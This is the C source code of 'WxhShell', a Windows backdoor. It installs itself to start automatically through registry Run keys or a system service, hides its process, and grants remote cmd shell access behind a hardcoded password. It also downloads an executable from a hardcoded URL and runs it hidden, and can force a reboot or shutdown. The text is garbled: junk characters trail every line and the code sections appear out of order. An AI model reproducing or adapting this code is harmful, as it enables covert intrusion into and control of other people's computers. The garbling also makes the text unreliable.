    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); O}q(2[*i  
    if(Boot(SHUTDOWN)) oJVpJA0IA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t3;QF  
    else { o\:vxj+%*  
    closesocket(wsh); f5hf<R),A  
    ExitThread(0); *^.OqbO[U  
    } 8jU6N*p/  
    break; {$)pkhJ  
    } %51HJB}C]  
  // 获取shell AR5)Uw s  
  case 's': { N##- vV  
    CmdShell(wsh); ?F@X>zR2  
    closesocket(wsh); <+e&E9;>6  
    ExitThread(0); r*W&SU9Z  
    break; OJPi*i5*  
  } c:_dW;MJ0  
  // 退出 ;F\sMf{  
  case 'x': { >&uR=Yd  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >I;J!{  
    CloseIt(wsh); vK8!V7o~h%  
    break; 'V(9ein^Q  
    } 5q{ -RJ  
  // 离开 ~`o%Y"p%rv  
  case 'q': { uZ(,7>0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); t-$Hti7Lk  
    closesocket(wsh); lhduK4u  
    WSACleanup(); qre(3,VE5  
    exit(1); IyGW>g6_.  
    break; _&/2-3]\B  
        } 6eAJ >9@x  
  } =FXq=x%9+  
  } t{Gc,S!]5  
\xexl1_;  
  // 提示信息 _f<#+*y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 55vI^SSA  
} hC...tk  
  } +{"w5o<CO  
]`_eaW?Ua  
  return; RWINdJZ  
} 0;x<0P  
5Z(#)sa0Og  
// shell模块句柄 E sx`UG|  
int CmdShell(SOCKET sock) $5Tjo T  
{ [HSN*LXe  
STARTUPINFO si; JD{AwE@Ro  
ZeroMemory(&si,sizeof(si)); P/doNv}iG  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; EF[I@voc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (pkq{: Fs  
PROCESS_INFORMATION ProcessInfo; t gHXIr}3  
char cmdline[]="cmd"; G;v3kGn  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #EX NSr  
  return 0; yU< "tgE  
} ]5j1p6;(`  
#kPsg9Y  
// 自身启动模式 @w@ `-1  
int StartFromService(void) $z'_Hr'  
{ :, Ad1(  
typedef struct VfJdCg_  
{ 9:]|TIPi  
  DWORD ExitStatus; FpFkZFtG'm  
  DWORD PebBaseAddress; .V?>Jhok  
  DWORD AffinityMask; SyCa~M!}>  
  DWORD BasePriority; Bu,VLIba  
  ULONG UniqueProcessId; nT xN>?l2E  
  ULONG InheritedFromUniqueProcessId; W)fh}|.5  
}   PROCESS_BASIC_INFORMATION; DyPb]Udb:  
QN OA66  
PROCNTQSIP NtQueryInformationProcess; #FsoK*F  
,ku3;58O<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; A!fRpN  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; TrmrA$5f  
0%>_fMaA  
  HANDLE             hProcess; f l*O)r  
  PROCESS_BASIC_INFORMATION pbi; H"J>wIuGX  
Ur2) ];WZ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3IDX3cM9  
  if(NULL == hInst ) return 0; -q}I; cH  
9Ts rg  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); YTYCv7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]8ob`F`m,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); t[Ywp!y[  
a&s&6Q|Y  
  if (!NtQueryInformationProcess) return 0; OIdoe0JR:O  
H|/U0;s  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _/)HAw?k  
  if(!hProcess) return 0;  _V_GdQ  
F@u>5e^6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }@Ou]o  
<CY<-H  
  CloseHandle(hProcess); V}+Ui]ie|I  
#JW~&;  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (GXFPEH8  
if(hProcess==NULL) return 0; T$Rj/u t1  
K1[(% <Gp  
HMODULE hMod; !S5_+.U#  
char procName[255]; R\,qL-Br  
unsigned long cbNeeded; 6T ,'Oz  
d2[R{eNX=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); V { yk  
Tl`HFZQ1  
  CloseHandle(hProcess); u[?M{E/HU  
mZ}C)&,m2  
if(strstr(procName,"services")) return 1; // 以服务启动 [V_\SQV0  
+DA ,|~k_  
  return 0; // 注册表启动 sRDxa5<MD  
} Q9NKQuSu  
@86?!0bt  
// 主模块 g.d~`R@v  
int StartWxhshell(LPSTR lpCmdLine) qhqqCVrsW  
{ l F*x\AT  
  SOCKET wsl; D!nx%%q  
BOOL val=TRUE; JWo).  
  int port=0; Kuy0Ci  
  struct sockaddr_in door; P* .0kR1n  
56T{JTo  
  if(wscfg.ws_autoins) Install(); 2L|)uCb  
LGPPyK Nx  
port=atoi(lpCmdLine); LQ3J$N  
^mu PjM+D  
if(port<=0) port=wscfg.ws_port; |tqYRWn0  
NG?-dkD  
  WSADATA data; bbxo!K m"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J\c\Ar :  
gzeTBlXg  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Lm"zW>v  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (YKkJ  
  door.sin_family = AF_INET; k~HS_b*]d  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Gf y9?sa  
  door.sin_port = htons(port); c},wW@SF2W  
6 P U]I+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +w'He9n  
closesocket(wsl); %m?$"<q_K  
return 1; ]iE) 8X  
} ISALR{Aq  
Z@ZSn0  
  if(listen(wsl,2) == INVALID_SOCKET) { \:|"qk  
closesocket(wsl); @w{"6xc%a  
return 1; &JHqUVs^  
} G*\U'w4w|*  
  Wxhshell(wsl); /j:fc?yv  
  WSACleanup(); wC~LZSTt  
]0@ 06G(y  
return 0; lz88//@gZ  
b?deZ2"L#  
} .U9A \$  
J'#R9NO<  
// 以NT服务方式启动 vD'YLn%Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) qF57T>v|  
{ X>kW)c4{b  
DWORD   status = 0; kb2M3%6 V  
  DWORD   specificError = 0xfffffff; ?2i\E RG?  
j#[%-nOT  
  serviceStatus.dwServiceType     = SERVICE_WIN32; z((9vi W  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )h,-zAnZ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j^qI~|#  
  serviceStatus.dwWin32ExitCode     = 0; 3}25=%;[  
  serviceStatus.dwServiceSpecificExitCode = 0; n+%tu"e  
  serviceStatus.dwCheckPoint       = 0; cL yed3uU  
  serviceStatus.dwWaitHint       = 0; 1J @43>u{  
:elTqw>pn  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7zEpuw  
  if (hServiceStatusHandle==0) return; NQqq\h  
0FG|s#Ig  
status = GetLastError(); lJ/{.uK  
  if (status!=NO_ERROR) h(MS>=  
{ MR-cOPn  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =VOl  *  
    serviceStatus.dwCheckPoint       = 0; c?XqSK`',Z  
    serviceStatus.dwWaitHint       = 0; 0|D l/1  
    serviceStatus.dwWin32ExitCode     = status; PuoN<9 #  
    serviceStatus.dwServiceSpecificExitCode = specificError; ZKco  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _ pKWDMB$z  
    return; m. DC  
  } TB(!*t  
VaLl$w  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; f%cbBx^;  
  serviceStatus.dwCheckPoint       = 0; IM9P5?kJ ?  
  serviceStatus.dwWaitHint       = 0; SlojB^%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); i8H!4l  
} =V*4&OU  
R'1L%srTM+  
// 处理NT服务事件,比如:启动、停止 5KvqZ1L  
VOID WINAPI NTServiceHandler(DWORD fdwControl) F-I\x  
{ pSh$#]mZ`  
switch(fdwControl) ti}G/*4  
{ 11jDAA(|  
case SERVICE_CONTROL_STOP: }&:F,q*  
  serviceStatus.dwWin32ExitCode = 0; n9N '}z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Y:'#jY*V  
  serviceStatus.dwCheckPoint   = 0; JBxizJBP  
  serviceStatus.dwWaitHint     = 0; h(Ccm44  
  { v'X=|$75  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Qb~&a1&s#  
  } 7<p? E7  
  return; %2t#>}If!  
case SERVICE_CONTROL_PAUSE: 9a;8^?Ld%S  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &nX,)"  
  break; bhg OLh#  
case SERVICE_CONTROL_CONTINUE: Xsit4Ma  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #RWHk  
  break; rm nfyn  
case SERVICE_CONTROL_INTERROGATE: z(dX<  
  break; Zk#?.z}  
}; >HlQ+bl$xw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v'W`\MKY)  
} oYNp0Hc  
$dgez#TPL  
// 标准应用程序主函数 .?CumaU  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ps=+wg?]  
{ 6h_OxO&!U  
\QKr2|  
// 获取操作系统版本 $,L,VYN  
OsIsNt=GetOsVer(); JU\wvP5j  
GetModuleFileName(NULL,ExeFile,MAX_PATH); jXALN  
dgsD~.((A  
  // 从命令行安装 n`af2I2  
  if(strpbrk(lpCmdLine,"iI")) Install(); gdVajOAu  
GtNGrJU  
  // 下载执行文件 ;V"(! 'd  
if(wscfg.ws_downexe) { 6q]`??g.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) KIfR4,=Q|  
  WinExec(wscfg.ws_filenam,SW_HIDE); [H8QxJk  
} n]+v Eu|  
}R]^%q@&  
if(!OsIsNt) { zA?]AL(+YW  
// 如果时win9x,隐藏进程并且设置为注册表启动 [d~ 25  
HideProc(); Y%iimbBY|  
StartWxhshell(lpCmdLine); BpQ/$?5E"  
} 875BD U  
else '#faNVPABh  
  if(StartFromService()) 0;pOQF  
  // 以服务方式启动 ^S'tMT_  
  StartServiceCtrlDispatcher(DispatchTable); GY;q0oQ,  
else 7TN94@kCF  
  // 普通方式启动 t4E=  
  StartWxhshell(lpCmdLine); WJN}d-S=^  
h]z>H~.<*  
return 0; Jxy94y*  
} b 7%O[  
N>J"^GX  
~0~f  
OK"B`*  
=========================================== ,J0BG0jB^u  
wRi` L7  
j/9Uf|z-_  
u/8urxp y  
lC&B4zec  
x3>PM]r(V  
" 1~# 2AdG  
o>'1ct  
#include <stdio.h> +5BhC9=b  
#include <string.h> w 9mi2=  
#include <windows.h> '9#O#I &J  
#include <winsock2.h> 3_]<H<w  
#include <winsvc.h> k)a-odNrb  
#include <urlmon.h> L--(Y+vmf  
\%!~pfM I  
#pragma comment (lib, "Ws2_32.lib") l[EjtN  
#pragma comment (lib, "urlmon.lib")  MXj7Z3  
rHWlv\+N n  
#define MAX_USER   100 // 最大客户端连接数 pwvcH3l/r  
#define BUF_SOCK   200 // sock buffer '~ {xn  
#define KEY_BUFF   255 // 输入 buffer Lz9t9AoB  
Q< q&a8~  
#define REBOOT     0   // 重启 "x*5g*k  
#define SHUTDOWN   1   // 关机 5z>kz/uxW  
k'K&GF1B  
#define DEF_PORT   5000 // 监听端口 '`*{ig  
AShnCL8uR  
#define REG_LEN     16   // 注册表键长度 a|x1aN 0  
#define SVC_LEN     80   // NT服务名长度 {G D<s))  
2AAZZx +$  
// 从dll定义API De(\ <H#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Hi 1@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); E\(dyq/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _IOt(Zb(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <6s?M1J  
BWct0=  
// wxhshell配置信息 E.kjYIH8  
struct WSCFG { uWYI p\NN  
  int ws_port;         // 监听端口 s2{d<0x?v  
  char ws_passstr[REG_LEN]; // 口令 KnC;j-j  
  int ws_autoins;       // 安装标记, 1=yes 0=no /@<Pn&Rq  
  char ws_regname[REG_LEN]; // 注册表键名 z3  lZ3  
  char ws_svcname[REG_LEN]; // 服务名 L.uX  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ByrK|lVM0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \V#2K><  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |nN{XjNfP5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no rR4_=S<Mi:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" y0d a8sd)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 E2s lpo  
]mN'Qoc  
}; DJ)z~W2I*  
R N1q/H|  
// default Wxhshell configuration Bw31h3yB  
struct WSCFG wscfg={DEF_PORT, cVt MCgx  
    "xuhuanlingzhe", ]Fc<% wzp  
    1, G 1 rsd  
    "Wxhshell", N;9m&)@JR'  
    "Wxhshell", #-_';Er\  
            "WxhShell Service", U9[ &ci  
    "Wrsky Windows CmdShell Service", k|$08EK $  
    "Please Input Your Password: ", cu4&*{  
  1, 8X@p?43  
  "http://www.wrsky.com/wxhshell.exe", I]"wT2@T;7  
  "Wxhshell.exe" s:y~vd(Vi  
    }; KV Vo_9S'  
(3DjFT3 w  
// 消息定义模块 Lbka*@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; G`B e~NU  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;/ iBP2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [4NJ]r M%  
char *msg_ws_ext="\n\rExit."; FYI*44E  
char *msg_ws_end="\n\rQuit."; hE41$9?TJ  
char *msg_ws_boot="\n\rReboot..."; F_9eju^|  
char *msg_ws_poff="\n\rShutdown..."; El;\#la  
char *msg_ws_down="\n\rSave to "; BULf@8~(  
9+G.86Iky  
char *msg_ws_err="\n\rErr!";  :1q)l  
char *msg_ws_ok="\n\rOK!"; s4@dEK8W  
&@O]'  
char ExeFile[MAX_PATH]; W0X/&v,k*  
int nUser = 0; {8)Pke  
HANDLE handles[MAX_USER]; .{` :  
int OsIsNt; W=fw*ro  
.5ap9li]  
SERVICE_STATUS       serviceStatus; B \U9F5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; wo($7'.@  
N02X*NC  
// 函数声明 0j^QY6  
int Install(void); g-0?8q5T6  
int Uninstall(void); ]d$:R`;  
int DownloadFile(char *sURL, SOCKET wsh); U ~j:b{  
int Boot(int flag); 4+ BWHV  
void HideProc(void); R36BvW0X  
int GetOsVer(void); :}\w2W E[  
int Wxhshell(SOCKET wsl); >hkmL](^  
void TalkWithClient(void *cs); qB57w:J  
int CmdShell(SOCKET sock); ra L!}  
int StartFromService(void); =.=4P~T&  
int StartWxhshell(LPSTR lpCmdLine); V _(L/6  
9qUc{ydt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); M ABrf`<b  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); eI8rnp( Ia  
DQ '=$z  
// 数据结构和表定义 '- >%b  
SERVICE_TABLE_ENTRY DispatchTable[] = _g|zDi^  
{ WaY_{)x  
{wscfg.ws_svcname, NTServiceMain}, yrp5\k*{y  
{NULL, NULL} hk =nXv2M  
}; D# ZzhHHP  
;GW[Yw>Rz  
// 自我安装 i6L>,^Dg  
int Install(void) zn| S3c  
{ gnjh=anVX1  
  char svExeFile[MAX_PATH]; b&AGVWhh  
  HKEY key;  `mar-r_m  
  strcpy(svExeFile,ExeFile); <L4.*  
^I=W<  
// 如果是win9x系统,修改注册表设为自启动 ;D}8acQ  
if(!OsIsNt) { {MP8B'r-6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lSGtbSyDI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); toD v~v  
  RegCloseKey(key); 3uSj5+@q6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { td*1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T r|B:)X  
  RegCloseKey(key); ~HWH2g  
  return 0; q]%eLfC(  
    } h<)YZ[;x  
  } nQe^Bn  
} ETt7?,x@  
else { =Q\z*.5j.  
Rra3)i`*  
// 如果是NT以上系统,安装为系统服务 %49P<vo`?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %gK@ R3p  
if (schSCManager!=0) !GB\-(  
{ }I3 ZNd   
  SC_HANDLE schService = CreateService 0 rM'VgB  
  ( ;WydXQ}Q^  
  schSCManager, eIZ7uSl  
  wscfg.ws_svcname, yQAW\0`  
  wscfg.ws_svcdisp, Y nD_:ZK  
  SERVICE_ALL_ACCESS, v:2*<;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , D hN{Y8'~  
  SERVICE_AUTO_START, s(~tL-_ K  
  SERVICE_ERROR_NORMAL, xF:}a:c@H  
  svExeFile, =ttvC"4?  
  NULL, 1r!o,0!d-'  
  NULL, M]FA y"E  
  NULL, 6Z09)}tZb  
  NULL, :%_*C09  
  NULL >K|<hzZ  
  ); :Ma=P\J W  
  if (schService!=0) ORVFp]gG  
  { Ll" Kxg  
  CloseServiceHandle(schService); >XTDN  
  CloseServiceHandle(schSCManager); ,\YlDcl':0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); GyirE`  
  strcat(svExeFile,wscfg.ws_svcname); MHl ffj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { U +c ?x2\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); UE:';(t  
  RegCloseKey(key); |6]2XW  
  return 0; bl8zcpdL  
    } +JyD W%a:L  
  } OoW,mmthj>  
  CloseServiceHandle(schSCManager); ??\1eo2gB  
} 41-u*$   
} g0Rny  
ua!i3]18  
return 1; #$-zg^  
} *d~).z)  
((& y:{?G  
// 自我卸载 caG5S#8-"  
int Uninstall(void) +c7e[hz  
{ .|$:%"O&X  
  HKEY key; Fe r&X  
=1kE2u  
if(!OsIsNt) { Hnq$d6F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A_8UPGh8  
  RegDeleteValue(key,wscfg.ws_regname); P\jnht  
  RegCloseKey(key); Z<P?P`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yj:<3_-C*  
  RegDeleteValue(key,wscfg.ws_regname); /$z(BX/  
  RegCloseKey(key); /nPNHO>U  
  return 0; xbVvK+  
  } 8fI]QW  
} nj90`O.K  
} Z.^DJ9E<1  
else { ";kwh8wB  
teQ <v[W.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "b~-`ni  
if (schSCManager!=0) +69[06F  
{ 1<9=J`(H  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); g-C)y 06  
  if (schService!=0) =pT}]  
  { =c-Y >  
  if(DeleteService(schService)!=0) { /v<FH}  
  CloseServiceHandle(schService); 0uZL*4A+C  
  CloseServiceHandle(schSCManager); 8I>'x f  
  return 0; ??]b,f4CNa  
  } n_ 3g  
  CloseServiceHandle(schService); =<BPoGs5  
  } S9 p*rk ~  
  CloseServiceHandle(schSCManager); ' ?4 \  
} 8|cQW-L  
} a< E\9DL  
Ii.0Bul  
return 1; OMY^'g%w  
} 3+<f7  
s ahXPl%;U  
// 从指定url下载文件 tM:%{az  
int DownloadFile(char *sURL, SOCKET wsh) B[$L)y'-;  
{ uo TTHj7cq  
  HRESULT hr; C:9a$  
char seps[]= "/"; e{Y8m Xu  
char *token; Jan~R ran  
char *file; ZZ? KD\S5  
char myURL[MAX_PATH]; r|ID]}w  
char myFILE[MAX_PATH]; }J^+66{  
ZRy'lW  
strcpy(myURL,sURL); >)j`Q1Qc\  
  token=strtok(myURL,seps); O0Pb"ou_h.  
  while(token!=NULL) _{C =d3  
  { 2(i@\dZCb<  
    file=token; pba`FC4R  
  token=strtok(NULL,seps); J$D/-*/@  
  } _O$7*k  
Puq  
GetCurrentDirectory(MAX_PATH,myFILE); o>l/*i0I  
strcat(myFILE, "\\"); "\~d!"n|2  
strcat(myFILE, file); I1)t1%6"vJ  
  send(wsh,myFILE,strlen(myFILE),0); F*4zC@;  
send(wsh,"...",3,0); Ivx]DXR|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9Qb6ek  
  if(hr==S_OK) l+r3|b  
return 0; ;CtTdr  
else KW@][*\uC  
return 1; s?yl4\]Muf  
!+)5?o  
} VprrklZ  
]r(&hqdR  
// 系统电源模块 =JGL~t?  
int Boot(int flag) @c -| Sl  
{ 0F-%C>&g  
  HANDLE hToken; EEp~\^ -  
  TOKEN_PRIVILEGES tkp; ra|Ku!  
gWGh:.*T  
  if(OsIsNt) { W @]t  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); jr2wK?LbB  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Fzk%eHG=  
    tkp.PrivilegeCount = 1; ukDaX  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2{9%E6%#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2]V&]s8Wi=  
if(flag==REBOOT) { w s([bS2h  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^|lw~F  
  return 0; O!k C  
} kKs}E| T  
else { v/GZByco>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) iO dk)  
  return 0; M `49ydh&  
} *3A)s O  
  } >|rU*+I`  
  else { V'8Rz#Gc5  
if(flag==REBOOT) { }G ^nK m  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3{{Ew}kZm  
  return 0; G0lg5iA<fC  
} r E&}B5PN=  
else { 2o<aEn&7|e  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) W}P9I&3  
  return 0; 'pHxO,vo  
} y4N2gBTKu  
} il[waUfmD  
+lhnc{;WJv  
return 1; /2x@Z>  
} y1bo28  
V|vXxWm/  
// win9x进程隐藏模块 'j$n;3  
void HideProc(void) sEHA?UP$<F  
{ X!|K 4Z!k  
b#W(&b^q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zI$'D|A  
  if ( hKernel != NULL ) YZZog6%  
  { /wPW2<|"X.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .OZ\ s%h;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); lQqP4-E?  
    FreeLibrary(hKernel); 5I&Dk4v  
  } *:Uq ;)*  
4G'-"u^g  
return; Ov@vNj&  
} j_0xE;g"]  
yqKSaPRA  
// 获取操作系统版本 ziXI$B4-  
int GetOsVer(void) 6 2LLfD  
{ Vtv1{/@+c  
  OSVERSIONINFO winfo; OjurfVw  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .s%dP.P:i1  
  GetVersionEx(&winfo); 5"&=BD~D  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) IqCh4y3  
  return 1; ]2rC n};  
  else $ qTv2)W1{  
  return 0; ,*Z/3at}5M  
} d Z}|G-:  
nk"nSXm3SR  
// 客户端句柄模块 'kHa_  
int Wxhshell(SOCKET wsl) `RyH~4\;  
{ "%ZAL\x  
  SOCKET wsh; MogIQ  
  struct sockaddr_in client; KtcuGI/A  
  DWORD myID; 3oM&#a  
b!T-{Ns6  
  while(nUser<MAX_USER) &*; Z(ul&9  
{ )W>9{*4 m  
  int nSize=sizeof(client); T:3}W0s,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;{1  ws  
  if(wsh==INVALID_SOCKET) return 1; :KI0j%>2y  
h$#|s/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4ah5}9{g  
if(handles[nUser]==0) vRLWs`1j  
  closesocket(wsh); 5s:g(gy3BR  
else -Yg?@yt  
  nUser++; [tkP2%1  
  } BFQ`Ab+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =%d.wH?dZ/  
9>/:c\q+  
  return 0; 'H(khS  
} Vo%DoZg  
5P[urOvV  
// 关闭 socket dMK\ y4#i  
void CloseIt(SOCKET wsh) 1IN^,A]r2h  
{ )CD-cz6n  
closesocket(wsh); N~%~Q  
nUser--; ~iJ@x;`  
ExitThread(0); VgO.in^q  
}  #]J"j]L  
zYEb#*Kar  
// 客户端请求句柄 <f;X s(  
void TalkWithClient(void *cs) |N0RBa4%  
{ 0Vj!'=Ntv  
p:xVi0  
  SOCKET wsh=(SOCKET)cs; w|:ev_c|  
  char pwd[SVC_LEN]; #kp +e)F  
  char cmd[KEY_BUFF]; o`.5NUn  
char chr[1]; %$F_oO7"  
int i,j; X<d`!,bn@  
[0H]L{yV  
  while (nUser < MAX_USER) { S"%W^)mZ  
3-gy)5.x e  
if(wscfg.ws_passstr) { SHQgI<D7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z q@"qnr  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9`Xr7gmQf  
  //ZeroMemory(pwd,KEY_BUFF); DI=?{A  
      i=0; .50ql[En  
  while(i<SVC_LEN) {  AtP!.p"j  
YXIAVSnr  
  // 设置超时 -o+; e3#  
  fd_set FdRead; AS a)xf9  
  struct timeval TimeOut; [#2X  
  FD_ZERO(&FdRead); 5>>JQ2'W  
  FD_SET(wsh,&FdRead); s} oD?h:T3  
  TimeOut.tv_sec=8; `%$+rbo~  
  TimeOut.tv_usec=0; sV`p3L8pl  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); i!+0''i{#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <+: PTG/('  
Xj$'i/=-+c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R_Uy.0=4  
  pwd=chr[0]; ycrM8Mu 3  
  if(chr[0]==0xd || chr[0]==0xa) { MI>_wG5P@  
  pwd=0; Hx NoV.q  
  break; !Aw.)<teW  
  } R T/)<RT9  
  i++; SA{5A 1  
    } ddw^oU  
(f   
  // 如果是非法用户,关闭 socket j`%a2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |b+CXEzo  
} QW2SFpE  
%VS+?4ww  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); M9KoQS  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HJ;!'@  
FvDi4[F#  
while(1) { Amv:dh  
=gHUY&sPu8  
  ZeroMemory(cmd,KEY_BUFF); SzyaVBD3  
WT:ZT$W  
      // 自动支持客户端 telnet标准   :~'R|l  
  j=0; ITfz/d8  
  while(j<KEY_BUFF) { ?cB26Zrcb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {=9"WN    
  cmd[j]=chr[0]; H4uHCkj  
  if(chr[0]==0xa || chr[0]==0xd) { fy={  
  cmd[j]=0; 7,FhKTV1/  
  break; uEr['>  
  } [BFPIVD)h]  
  j++; Uwg*kJ3H  
    } &[kFl\  
%wN*Hu~E  
  // 下载文件 5-POY ug  
  if(strstr(cmd,"http://")) { C'a#.LM  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); lbMok/a2o  
  if(DownloadFile(cmd,wsh)) iIc/%< ;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %nyZ=&u  
  else K$5mDScoJ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sv2XD}}  
